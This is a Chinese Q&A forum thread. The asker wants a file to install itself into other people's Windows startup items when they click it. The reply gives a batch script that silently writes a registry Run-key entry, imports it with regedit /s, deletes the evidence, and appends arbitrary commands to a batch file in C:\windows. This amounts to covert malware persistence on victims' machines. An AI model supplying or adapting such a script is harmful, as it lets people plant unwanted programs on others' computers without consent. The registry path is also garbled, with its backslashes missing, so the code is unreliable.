怎样让文件在别人点击过后自动放到别人电脑的启动项里去。
发布网友
发布时间:2024-10-22 05:59
我来回答
共1个回答
热心网友
时间:2024-10-26 13:21
内容如下:
@echo off
echo REGEDIT4>xxx.reg
echo.
echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionrun]>>xxx.reg
echo "bat"="C:\windows\name.bat">>xxx.reg
regedit /s xxx.reg &del xxx.reg
name.bat就是你的bat脚本了,用你的脚本名字就行了。
xxx.reg就上面 echo REGEDIT4>xxx.reg
echo.
echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionrun]>>xxx.reg
创建的注册表文件。
DOS在运行批处理时, 会依次执行批处理中的每条命令, 并且会在显示器上显示, 如果你不想让它们显示, 可以加一个“echo off”
"echo off”也是命令, 它本身也会显示, 如果连这条也不显示, 就在前面加个“@”。
echo "bat"="C:\windows\name.bat">>xxx.reg
这个是你的bat的位置,C:\windows文件夹下的你的name.bat文件,呵呵,手误,打错符号了。
regedit /s xxx.reg &del xxx.reg 这个是运行xxx.reg注册表后删除原注册表文件。
可以发注册表文件,但前C:\windows下有这个123.bat文件。 我的name.bat这里就是你的123.bat
要想达到这个目的,那我们在C:\windows下用bat创建一个文件,具体就是在上面的代码里加上
echo.
你的执行代码>>C:\windows\name.bat